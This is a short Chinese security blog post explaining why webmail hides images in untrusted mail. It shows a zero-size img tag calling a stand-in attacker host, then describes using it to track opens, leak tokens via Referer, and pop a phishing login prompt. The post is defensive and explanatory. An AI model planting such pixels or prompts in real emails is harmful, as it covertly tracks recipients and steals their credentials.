你会发现很多好邮箱在查看不可信邮件时,图片会默认不显示,为什么呢?
注意:我说的是好邮箱:)
站在黑客角度来给出答案。
大多数专业邮箱都默认不显示图片,因为如果邮件内容包含如下代码(很合法,不会被常规过滤):
<img src=http://evilsite/hi.php width=0 height=0 />
看,src 的值可以不需要是真图片。
这样可以隐蔽地得到邮件 URL(即 Referer,即浏览器地址栏那个 URL)。
有什么用呢?
1、邮件打开跟踪:只要邮件被查看就会请求这个 hi.php 地址,hi.php 可以做好记录,除了记录是否被请求了,还可记录邮件 URL、用户浏览器 User-Agent、用户 IP 地址等。这个可以做个邮件跟踪系统了:)
有了这个,根本不需要「已读回执」功能了。
有了这个,搞垃圾邮件群发的,各位脑洞大开下,他们会有多开心。
2、某些手机端邮箱:传统的 WAP 或 APP(本质是 Web 的情况),Referer 可能会包括用户身份 token,这会导致身份 token 轻易泄露,账号被盗。
3、有人用 hi.php 来玩钓鱼攻击:hi.php 可以被设置需要 Auth 等认证,这时一查看邮箱就弹出一个 Auth 窗口,提醒输入用户名密码,只要场景设计好,有一定概率,用户会被钓鱼。
4、确实,图片可以很好躲避基于文本的贝叶斯反垃圾机制。默认屏蔽图片,「意外」屏蔽了这个眼不见心不烦的烦恼?
就这么小的一个点,这些年来一直出现各种对抗,出现个对抗又被修复。什么是好邮箱?好邮箱就是这么小的一个点,必须把控好安全与体验的那种平衡:)
前面说了不可信邮件默认不显示图片,那如何可信呢?你想想?
另外,补充说明下:
像 Gmail 这样全球最安全的邮箱,它会把邮件图片下载到自己的 googleusercontent.com 域下:
这个域名和Gmail的域名不一样,做了漂亮的分离;
图片 Cache 到了 Google 自己可控的域下,安全可以很好保障;
Google 可以对这海量图片做各种机器学习,多好。
EOF.
—————–
有什么好问题可以问我,灵感一来我就发文,因为忙着研发黑客酷产品,所以更新会比较懒。
余弦@知道创宇
共鸣的话,可以选择关注我这个公众号「Lazy-Thought」
永久 Blog:evilcos.me